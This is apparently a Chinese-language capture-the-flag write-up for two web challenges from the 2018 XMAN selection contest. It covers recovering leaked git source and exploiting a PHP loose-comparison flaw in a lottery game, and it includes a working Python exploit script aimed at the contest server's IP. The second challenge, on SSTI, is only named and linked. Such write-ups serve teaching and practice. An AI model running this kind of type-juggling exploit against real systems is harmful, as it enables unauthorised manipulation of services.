2018XMAN选拔赛-WEB
0x01 Lottery
题目描述
这题总地来讲,通过猜数字游戏来赢得奖金,最后需要一大笔奖金来买flag,但赢得的奖金可能率特别低几乎不可能
做题步骤
- 首先在robots.txt文件提示git源码泄露
- 用GitHack工具来恢复源码,工具地址和说明如右GitHack
- 下载并恢复源码后,在api.php文件中有一段源码如下
1 | function buy($req){ |
- 分析源码,可以看到有一个==比较,且对输入参数无任何限制,接下来看一段php测试代码(php交互模式下)
可以看到不管数字多少,只要==true,它这个return返回的都是1,也就是视为正确的意思,所以我们可以抓包构造json数组,也可以构造exp
exp:(别人博客搜来的,已测试,能用)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from requests import Session
from time import time
from json import dumps
u = Session()
u.headers['Content-Type'] = 'application/json'
def register():
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'register', 'name' : time() }))
def buy(what):
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'buy' , 'numbers' : what}))
def flag():
return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'flag'})).text
exp = [True, True, True, True, True, True, True]
register()
buy(exp)
buy(exp)
buy(exp)
print(flag())
0x02 Confusion1
题目关闭了,无奈,这里已经复现了一下原理,可以去我博客看看,这里利用的是SSTI原理,附上几个链接
https://www.jianshu.com/p/55c5477567fe
https://www.jianshu.com/p/cd430094d561
官方网址 https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/